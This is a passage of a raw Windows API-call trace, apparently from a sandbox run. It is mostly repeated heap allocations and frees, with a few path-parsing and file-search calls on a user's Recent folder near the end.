Size=0x820) returned 0x39dc2a8 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0117.742] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.742] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.742] PathFindFileNameW (pszPath="") returned="" [0117.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.742] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZTE-", cAlternateFileName="")) returned 0xffffffff [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f430 | out: hHeap=0xd10000) returned 1 [0117.743] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.743] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.743] RtlAllocateHeap 